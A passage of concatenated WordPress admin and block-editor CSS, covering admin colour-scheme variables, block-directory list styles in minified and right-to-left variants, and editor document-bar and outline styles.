(min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.list-reusable-blocks-import-dropdown__content .components-popover__content{
  padding:10px;
}

.list-reusable-blocks-import-form__label{
  display:block;
  margin-bottom:10px;
}

.list-reusable-blocks-import-form__button{
  float:left;
  margin-bottom:10px;
  margin-top:10px;
}

.list-reusable-blocks-import-form .components-notice__content{
  margin:0;
}
.list-reusable-blocks-import-form .components-notice.is-dismissible{
  margin:5px 0;
  padding-left:0;
}

.list-reusable-blocks__container{
  align-items:center;
  display:inline-flex;
  position:relative;
  top:-3px;
}
.list-reusable-blocks__container .components-button{
  height:26px;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-directory-block-ratings>span{
  display:flex;
}
.block-directory-block-ratings svg{
  fill:#1e1e1e;
  margin-left:-4px;
}
.block-directory-block-ratings .block-directory-block-ratings__star-empty{
  fill:#ccc;
}

.block-directory-compact-list{
  list-style:none;
  margin:0;
}

.block-directory-compact-list__item{
  align-items:center;
  display:flex;
  flex-direction:row;
  margin-bottom:16px;
}
.block-directory-compact-list__item:last-child{
  margin-bottom:0;
}

.block-directory-compact-list__item-details{
  margin-left:8px;
}

.block-directory-compact-list__item-title{
  font-weight:500;
}

.block-directory-compact-list__item-author{
  color:#757575;
  font-size:11px;
}

.block-directory-downloadable-block-icon{
  border:1px solid #ddd;
  height:54px;
  min-width:54px;
  vertical-align:middle;
  width:54px;
}

.block-directory-downloadable-block-list-item{
  display:grid;
  grid-template-columns:auto 1fr;
  height:auto;
  padding:12px;
  text-align:left;
  width:100%;
}
.block-directory-downloadable-block-list-item:hover{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-directory-downloadable-block-list-item.is-busy{
  background:#0000;
}
.block-directory-downloadable-block-list-item.is-busy .block-directory-downloadable-block-list-item__author{
  border:0;
  clip:rect(1px, 1px, 1px, 1px);
  -webkit-clip-path:inset(50%);
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}
.block-directory-downloadable-block-list-item:disabled,.block-directory-downloadable-block-list-item[aria-disabled]{
  opacity:1;
}

.block-directory-downloadable-block-list-item__icon{
  align-self:flex-start;
  margin-right:16px;
  position:relative;
}
.block-directory-downloadable-block-list-item__icon .block-directory-downloadable-block-list-item__spinner{
  align-items:center;
  background:#ffffffbf;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.block-directory-block-ratings{
  display:block;
  margin-top:4px;
}

.block-directory-downloadable-block-list-item__details{
  color:#1e1e1e;
}

.block-directory-downloadable-block-list-item__title{
  display:block;
  font-weight:600;
}

.block-directory-downloadable-block-list-item__author{
  display:block;
  font-weight:400;
  margin-top:4px;
}

.block-directory-downloadable-block-list-item__desc{
  display:block;
  margin-top:8px;
}

.block-directory-downloadable-block-notice{
  color:#cc1818;
  margin:8px 0 0;
}

.block-directory-downloadable-block-notice__content{
  margin-bottom:8px;
  padding-right:12px;
}

.block-directory-downloadable-blocks-panel{
  padding:16px;
}
.block-directory-downloadable-blocks-panel.has-blocks-loading{
  color:#757575;
  font-style:normal;
  margin:112px 0;
  padding:0;
  text-align:center;
}
.block-directory-downloadable-blocks-panel.has-blocks-loading .components-spinner{
  float:inherit;
}

.block-directory-downloadable-blocks-panel__no-local{
  color:#757575;
  margin:48px 0;
  padding:0 64px;
  text-align:center;
}

.block-directory-downloadable-blocks-panel__title{
  font-size:14px;
  margin:0 0 4px;
}

.block-directory-downloadable-blocks-panel__description{
  margin-top:0;
}

.block-directory-downloadable-blocks-panel button{
  margin-top:4px;
}

.installed-blocks-pre-publish-panel__copy{
  margin-top:0;
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-directory-block-ratings>span{display:flex}.block-directory-block-ratings svg{fill:#1e1e1e;margin-left:-4px}.block-directory-block-ratings .block-directory-block-ratings__star-empty{fill:#ccc}.block-directory-compact-list{list-style:none;margin:0}.block-directory-compact-list__item{align-items:center;display:flex;flex-direction:row;margin-bottom:16px}.block-directory-compact-list__item:last-child{margin-bottom:0}.block-directory-compact-list__item-details{margin-left:8px}.block-directory-compact-list__item-title{font-weight:500}.block-directory-compact-list__item-author{color:#757575;font-size:11px}.block-directory-downloadable-block-icon{border:1px solid #ddd;height:54px;min-width:54px;vertical-align:middle;width:54px}.block-directory-downloadable-block-list-item{display:grid;grid-template-columns:auto 1fr;height:auto;padding:12px;text-align:left;width:100%}.block-directory-downloadable-block-list-item:hover{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-directory-downloadable-block-list-item.is-busy{background:#0000}.block-directory-downloadable-block-list-item.is-busy .block-directory-downloadable-block-list-item__author{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.block-directory-downloadable-block-list-item:disabled,.block-directory-downloadable-block-list-item[aria-disabled]{opacity:1}.block-directory-downloadable-block-list-item__icon{align-self:flex-start;margin-right:16px;position:relative}.block-directory-downloadable-block-list-item__icon .block-directory-downloadable-block-list-item__spinner{align-items:center;background:#ffffffbf;bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0}.block-directory-block-ratings{display:block;margin-top:4px}.block-directory-downloadable-block-list-item__details{color:#1e1e1e}.block-directory-downloadable-block-list-item__title{display:block;font-weight:600}.block-directory-downloadable-block-list-item__author{display:block;font-weight:400;margin-top:4px}.block-directory-downloadable-block-list-item__desc{display:block;margin-top:8px}.block-directory-downloadable-block-notice{color:#cc1818;margin:8px 0 0}.block-directory-downloadable-block-notice__content{margin-bottom:8px;padding-right:12px}.block-directory-downloadable-blocks-panel{padding:16px}.block-directory-downloadable-blocks-panel.has-blocks-loading{color:#757575;font-style:normal;margin:112px 0;padding:0;text-align:center}.block-directory-downloadable-blocks-panel.has-blocks-loading .components-spinner{float:inherit}.block-directory-downloadable-blocks-panel__no-local{color:#757575;margin:48px 0;padding:0 64px;text-align:center}.block-directory-downloadable-blocks-panel__title{font-size:14px;margin:0 0 4px}.block-directory-downloadable-blocks-panel__description{margin-top:0}.block-directory-downloadable-blocks-panel button{margin-top:4px}.installed-blocks-pre-publish-panel__copy{margin-top:0}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-directory-block-ratings>span{display:flex}.block-directory-block-ratings svg{fill:#1e1e1e;margin-right:-4px}.block-directory-block-ratings .block-directory-block-ratings__star-empty{fill:#ccc}.block-directory-compact-list{list-style:none;margin:0}.block-directory-compact-list__item{align-items:center;display:flex;flex-direction:row;margin-bottom:16px}.block-directory-compact-list__item:last-child{margin-bottom:0}.block-directory-compact-list__item-details{margin-right:8px}.block-directory-compact-list__item-title{font-weight:500}.block-directory-compact-list__item-author{color:#757575;font-size:11px}.block-directory-downloadable-block-icon{border:1px solid #ddd;height:54px;min-width:54px;vertical-align:middle;width:54px}.block-directory-downloadable-block-list-item{display:grid;grid-template-columns:auto 1fr;height:auto;padding:12px;text-align:right;width:100%}.block-directory-downloadable-block-list-item:hover{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-directory-downloadable-block-list-item.is-busy{background:#0000}.block-directory-downloadable-block-list-item.is-busy .block-directory-downloadable-block-list-item__author{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.block-directory-downloadable-block-list-item:disabled,.block-directory-downloadable-block-list-item[aria-disabled]{opacity:1}.block-directory-downloadable-block-list-item__icon{align-self:flex-start;margin-left:16px;position:relative}.block-directory-downloadable-block-list-item__icon .block-directory-downloadable-block-list-item__spinner{align-items:center;background:#ffffffbf;bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0}.block-directory-block-ratings{display:block;margin-top:4px}.block-directory-downloadable-block-list-item__details{color:#1e1e1e}.block-directory-downloadable-block-list-item__title{display:block;font-weight:600}.block-directory-downloadable-block-list-item__author{display:block;font-weight:400;margin-top:4px}.block-directory-downloadable-block-list-item__desc{display:block;margin-top:8px}.block-directory-downloadable-block-notice{color:#cc1818;margin:8px 0 0}.block-directory-downloadable-block-notice__content{margin-bottom:8px;padding-left:12px}.block-directory-downloadable-blocks-panel{padding:16px}.block-directory-downloadable-blocks-panel.has-blocks-loading{color:#757575;font-style:normal;margin:112px 0;padding:0;text-align:center}.block-directory-downloadable-blocks-panel.has-blocks-loading .components-spinner{float:inherit}.block-directory-downloadable-blocks-panel__no-local{color:#757575;margin:48px 0;padding:0 64px;text-align:center}.block-directory-downloadable-blocks-panel__title{font-size:14px;margin:0 0 4px}.block-directory-downloadable-blocks-panel__description{margin-top:0}.block-directory-downloadable-blocks-panel button{margin-top:4px}.installed-blocks-pre-publish-panel__copy{margin-top:0}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-directory-block-ratings>span{
  display:flex;
}
.block-directory-block-ratings svg{
  fill:#1e1e1e;
  margin-right:-4px;
}
.block-directory-block-ratings .block-directory-block-ratings__star-empty{
  fill:#ccc;
}

.block-directory-compact-list{
  list-style:none;
  margin:0;
}

.block-directory-compact-list__item{
  align-items:center;
  display:flex;
  flex-direction:row;
  margin-bottom:16px;
}
.block-directory-compact-list__item:last-child{
  margin-bottom:0;
}

.block-directory-compact-list__item-details{
  margin-right:8px;
}

.block-directory-compact-list__item-title{
  font-weight:500;
}

.block-directory-compact-list__item-author{
  color:#757575;
  font-size:11px;
}

.block-directory-downloadable-block-icon{
  border:1px solid #ddd;
  height:54px;
  min-width:54px;
  vertical-align:middle;
  width:54px;
}

.block-directory-downloadable-block-list-item{
  display:grid;
  grid-template-columns:auto 1fr;
  height:auto;
  padding:12px;
  text-align:right;
  width:100%;
}
.block-directory-downloadable-block-list-item:hover{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-directory-downloadable-block-list-item.is-busy{
  background:#0000;
}
.block-directory-downloadable-block-list-item.is-busy .block-directory-downloadable-block-list-item__author{
  border:0;
  clip:rect(1px, 1px, 1px, 1px);
  -webkit-clip-path:inset(50%);
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}
.block-directory-downloadable-block-list-item:disabled,.block-directory-downloadable-block-list-item[aria-disabled]{
  opacity:1;
}

.block-directory-downloadable-block-list-item__icon{
  align-self:flex-start;
  margin-left:16px;
  position:relative;
}
.block-directory-downloadable-block-list-item__icon .block-directory-downloadable-block-list-item__spinner{
  align-items:center;
  background:#ffffffbf;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.block-directory-block-ratings{
  display:block;
  margin-top:4px;
}

.block-directory-downloadable-block-list-item__details{
  color:#1e1e1e;
}

.block-directory-downloadable-block-list-item__title{
  display:block;
  font-weight:600;
}

.block-directory-downloadable-block-list-item__author{
  display:block;
  font-weight:400;
  margin-top:4px;
}

.block-directory-downloadable-block-list-item__desc{
  display:block;
  margin-top:8px;
}

.block-directory-downloadable-block-notice{
  color:#cc1818;
  margin:8px 0 0;
}

.block-directory-downloadable-block-notice__content{
  margin-bottom:8px;
  padding-left:12px;
}

.block-directory-downloadable-blocks-panel{
  padding:16px;
}
.block-directory-downloadable-blocks-panel.has-blocks-loading{
  color:#757575;
  font-style:normal;
  margin:112px 0;
  padding:0;
  text-align:center;
}
.block-directory-downloadable-blocks-panel.has-blocks-loading .components-spinner{
  float:inherit;
}

.block-directory-downloadable-blocks-panel__no-local{
  color:#757575;
  margin:48px 0;
  padding:0 64px;
  text-align:center;
}

.block-directory-downloadable-blocks-panel__title{
  font-size:14px;
  margin:0 0 4px;
}

.block-directory-downloadable-blocks-panel__description{
  margin-top:0;
}

.block-directory-downloadable-blocks-panel button{
  margin-top:4px;
}

.installed-blocks-pre-publish-panel__copy{
  margin-top:0;
}@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.editor-autocompleters__user .editor-autocompleters__no-avatar:before{
  content:"";
  font:normal 20px/1 dashicons;
  margin-right:5px;
  vertical-align:middle;
}
.editor-autocompleters__user .editor-autocompleters__user-avatar{
  flex-grow:0;
  flex-shrink:0;
  height:24px;
  margin-right:8px;
  max-width:none;
  width:24px;
}
.editor-autocompleters__user .editor-autocompleters__user-name{
  flex-grow:1;
  flex-shrink:0;
  max-width:200px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-autocompleters__user .editor-autocompleters__user-slug{
  color:#757575;
  flex-grow:0;
  flex-shrink:0;
  margin-left:8px;
  max-width:100px;
  overflow:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-autocompleters__user:hover .editor-autocompleters__user-slug{
  color:var(--wp-admin-theme-color);
}

.editor-block-manager__no-results{
  font-style:italic;
  padding:24px 0;
  text-align:center;
}

.editor-block-manager__search{
  margin:16px 0;
}

.editor-block-manager__disabled-blocks-count{
  background-color:#fff;
  border:1px solid #ddd;
  border-width:1px 0;
  box-shadow:-32px 0 0 0 #fff,32px 0 0 0 #fff;
  padding:8px;
  position:sticky;
  text-align:center;
  top:-5px;
  z-index:2;
}
.editor-block-manager__disabled-blocks-count~.editor-block-manager__results .editor-block-manager__category-title{
  top:31px;
}
.editor-block-manager__disabled-blocks-count .is-link{
  margin-left:12px;
}

.editor-block-manager__category{
  margin:0 0 24px;
}

.editor-block-manager__category-title{
  background-color:#fff;
  padding:16px 0;
  position:sticky;
  top:-4px;
  z-index:1;
}
.editor-block-manager__category-title .components-checkbox-control__label{
  font-weight:600;
}

.editor-block-manager__checklist{
  margin-top:0;
}

.editor-block-manager__category-title,.editor-block-manager__checklist-item{
  border-bottom:1px solid #ddd;
}

.editor-block-manager__checklist-item{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-bottom:0;
  padding:8px 0 8px 16px;
}
.components-modal__content .editor-block-manager__checklist-item.components-checkbox-control__input-container{
  margin:0 8px;
}
.editor-block-manager__checklist-item .block-editor-block-icon{
  margin-right:10px;
  fill:#1e1e1e;
}

.editor-block-manager__results{
  border-top:1px solid #ddd;
}

.editor-block-manager__disabled-blocks-count+.editor-block-manager__results{
  border-top-width:0;
}

.editor-document-bar{
  align-items:center;
  background:#f0f0f0;
  border-radius:4px;
  display:flex;
  height:32px;
  justify-content:space-between;
  min-width:0;
  width:min(100%, 450px);
}
.editor-document-bar:hover{
  background-color:#e0e0e0;
}
.editor-document-bar .components-button{
  border-radius:4px;
}
.editor-document-bar .components-button:hover{
  background:#e0e0e0;
  color:var(--wp-block-synced-color);
}
@media (min-width:960px){
  .editor-document-bar{
    width:min(100%, 450px);
  }
}

.editor-document-bar__command{
  color:var(--wp-block-synced-color);
  flex-grow:1;
  overflow:hidden;
}

.editor-document-bar__title{
  color:#2f2f2f;
  flex-grow:1;
  overflow:hidden;
}
@media (min-width:600px){
  .editor-document-bar__title{
    padding-left:32px;
  }
}
.editor-document-bar.is-global .editor-document-bar__title,.editor-document-bar__title:hover{
  color:var(--wp-block-synced-color);
}
.editor-document-bar__title .block-editor-block-icon{
  flex-shrink:0;
  min-width:24px;
}
.editor-document-bar__title h1{
  color:currentColor;
  max-width:50%;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-document-bar.is-animated.has-back-button .editor-document-bar__title{
  animation:editor-document-bar__slide-in-left .3s;
}
@media (prefers-reduced-motion:reduce){
  .editor-document-bar.is-animated.has-back-button .editor-document-bar__title{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.editor-document-bar.is-animated .editor-document-bar__title{
  animation:editor-document-bar__slide-in-right .3s;
}
@media (prefers-reduced-motion:reduce){
  .editor-document-bar.is-animated .editor-document-bar__title{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.editor-document-bar__shortcut{
  color:#2f2f2f;
  display:none;
  min-width:32px;
}
@media (min-width:782px){
  .editor-document-bar__shortcut{
    display:initial;
  }
}

.editor-document-bar__back.components-button.has-icon.has-text{
  color:#757575;
  flex-shrink:0;
  gap:0;
  min-width:36px;
  position:absolute;
  z-index:1;
}
.editor-document-bar__back.components-button.has-icon.has-text:hover{
  background-color:initial;
  color:var(--wp-block-synced-color);
}
.editor-document-bar.is-animated .editor-document-bar__back.components-button.has-icon.has-text{
  animation:editor-document-bar__slide-in-left .3s;
}
@media (prefers-reduced-motion:reduce){
  .editor-document-bar.is-animated .editor-document-bar__back.components-button.has-icon.has-text{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

@keyframes editor-document-bar__slide-in-right{
  0%{
    opacity:0;
    transform:translateX(-15%);
  }
  to{
    opacity:1;
    transform:translateX(0);
  }
}
@keyframes editor-document-bar__slide-in-left{
  0%{
    opacity:0;
    transform:translateX(15%);
  }
  to{
    opacity:1;
    transform:translateX(0);
  }
}
.document-outline{
  margin:20px 0;
}
.document-outline ul{
  margin:0;
  padding:0;
}

.document-outline__item{
  display:flex;
  margin:4px 0;
}
.document-outline__item a{
  text-decoration:none;
}
.document-outline__item .document-outline__emdash:before{
  color:#ddd;
  margin-right:4px;
}
.document-outline__item.is-h2 .document-outline__emdash:before{
  content:"—";
}
.document-outline__item.is-h3 .document-outline__emdash:before{
  content:"——";
}
.document-outline__item.is-h4 .document-outline__emdash:before{
  content:"———";
}
.document-outline__item.is-h5 .document-outline__emdash:before{
  content:"————";
}
.document-outline__item.is-h6 .document-outline__emdash:before{
  content:"—————";
}

.document-outline__button{
  align-items:flex-start;
  background:none;
  border:none;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  margin:0 0 0 -1px;
  padding:2px 5px 2px 1px;
  text-align:left;
}
.document-outline__button:disabled{
  cursor:default;
}
.document-outline__button:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.document-outline__level{
  background:#ddd;
  border-radius:3px;
  color:#1e1e1e;
  font-size:13px;
  margin-right:4px;
  padding:1px 6px;
}
.is-invalid .document-outline__level{
  background:#f0b849;
}

.document-outline__item-content{
  padding:1px 0;
}

.editor-document-outline.has-no-headings{
  color:#757575;
  text-align:center;
}
.editor-document-outline.has-no-headings>svg{
  margin-top:28px;
}
.editor-document-outline.has-no-headings>p{
  padding-left:32px;
  padding-right:32px;
}

.editor-document-tools{
  align-items:center;
  display:inline-flex;
}
.editor-document-tools .editor-document-tools__left>.components-button{
  display:none;
}
@media (min-width:600px){
  .editor-document-tools .editor-document-tools__left>.components-button{
    display:inline-flex;
  }
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle{
  display:inline-flex;
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{
  transition:transform .2s cubic-bezier(.165, .84, .44, 1);
}
@media (prefers-reduced-motion:reduce){
  .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.is-pressed svg{
  transform:rotate(45deg);
}
.editor-document-tools .block-editor-list-view{
  display:none;
}
@media (min-width:600px){
  .editor-document-tools .block-editor-list-view{
    display:flex;
  }
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon{
  height:32px;
  min-width:32px;
  padding:4px;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon.is-pressed,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon.is-pressed{
  background:#1e1e1e;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon:focus:not(:disabled),.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff;
  outline:1px solid #0000;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon:before,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:before{
  display:none;
}

.editor-document-tools__left{
  align-items:center;
  display:inline-flex;
  gap:8px;
  margin-right:8px;
  padding-left:16px;
}
@media (min-width:782px){
  .editor-document-tools__left{
    padding-left:20px;
  }
}
@media (min-width:1280px){
  .editor-document-tools__left{
    padding-right:8px;
  }
}

.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{
  height:32px;
  min-width:32px;
  padding:0;
  width:32px;
}
.show-icon-labels .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{
  height:32px;
  padding:0 8px;
  width:auto;
}

.show-icon-labels .editor-document-tools__left>*+*{
  margin-left:8px;
}

.components-editor-notices__dismissible,.components-editor-notices__pinned{
  color:#1e1e1e;
  left:0;
  position:relative;
  right:0;
  top:0;
}
.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{
  border-bottom:1px solid #0003;
  box-sizing:border-box;
  min-height:60px;
  padding:0 12px;
}
.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{
  margin-top:12px;
}

.entities-saved-states__panel-header{
  background:#fff;
  border-bottom:1px solid #ddd;
  box-sizing:border-box;
  height:60px;
